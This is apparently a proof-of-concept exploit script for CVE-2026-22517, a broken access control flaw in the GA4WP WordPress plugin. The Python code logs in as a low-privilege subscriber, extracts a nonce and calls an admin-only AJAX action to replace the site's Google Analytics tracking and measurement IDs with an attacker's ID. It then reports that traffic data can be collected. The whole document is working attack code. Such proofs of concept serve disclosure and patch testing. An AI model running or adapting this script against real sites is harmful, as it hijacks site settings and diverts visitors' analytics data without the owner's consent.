CVE-2026-22517

# CVE-2026-22517 PoC - GA4WP Broken Access Control # Target: WordPress site with GA4WP plugin <= 2.10.0 import requests import sys TARGET_URL = "http://target-wordpress-site.com" # Low-privilege user credentials (subscriber role or similar) USERNAME = "low_priv_user" PASSWORD = "user_password" def get_nonce(session, url): """Get WordPress nonce for authenticated requests""" response = session.get(url + "/wp-admin/admin.php?page=ga-for-wp") # Extract nonce from page content or response headers import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', response.text) return nonce_match.group(1) if nonce_match else None def exploit(): """Exploit Missing Authorization in GA4WP plugin""" session = requests.Session() # Step 1: Authenticate with low-privilege account login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(TARGET_URL + "/wp-login.php", data=login_data) # Step 2: Get valid nonce (if required) nonce = get_nonce(session, TARGET_URL) # Step 3: Exploit broken access control # Target admin-only functionality without proper authorization check exploit_data = { 'action': 'ga_for_wp_save_settings', '_wpnonce': nonce, 'ga4wp_tracking_id': 'G-ATTACKER123456', # Malicious GA ID 'ga4wp_measurement_id': 'G-ATTACKER123456' } response = session.post( TARGET_URL + "/wp-admin/admin-ajax.php", data=exploit_data ) if response.status_code == 200: print("[+] Exploit successful - GA tracking ID modified!") print("[+] Attacker can now collect site traffic data") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

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